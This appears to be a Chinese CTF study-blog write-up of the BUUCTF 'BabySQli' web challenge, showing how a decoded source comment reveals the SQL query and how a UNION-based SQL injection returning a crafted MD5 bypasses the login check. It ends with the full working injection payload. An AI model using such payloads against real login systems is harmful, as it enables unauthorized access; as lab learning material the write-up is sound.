「配枪朱丽叶。」

RootのCTF学习笔记。

GXYCTF2019/BUUCTF-WEB:BabySQli

一直对注入题很抗拒。。学到了新知识记录一下。

打开是一个登录框 随便输入什么会提示wrong user!
ctrl+U查看源代码,注意注释:
https://s2.ax1x.com/2020/01/28/1KSn7F.png

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

base32解密:

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

base64解密:

select * from user where username = '$name'

然后接下来把请求包丢到sqlmap里就好了,最后得到这个:
https://s2.ax1x.com/2020/01/28/1KS86x.png

但是那个md5解不出来。。就不能直接用他给的密码登录了。

学习了颖奇L'Amore师傅写的WP:
www.gem-love.com

https://s2.ax1x.com/2020/01/28/1K9fln.png

将查询出来的passwd和输入的密码的md5值比较,相等则登录不相等则wrong pass. 而由于name参数可注,我们可以构造sql语句使其查询为假,然后联合查询出一个比如63a9f0ea7bb98050796b649e85481845(root的md5),然后密码输入root,就会查询成功。

root的md5并不在数据库里,只要保证联合查询的结构一样,就可以直接select后面输入你想要的查询的返回值
https://www.gem-love.com/wp-content/uploads/2019/12/3-3-1024x392.png

构造了payload:

name=admin' And 1>2 union select '1','admin','63a9f0ea7bb98050796b649e85481845&pw=root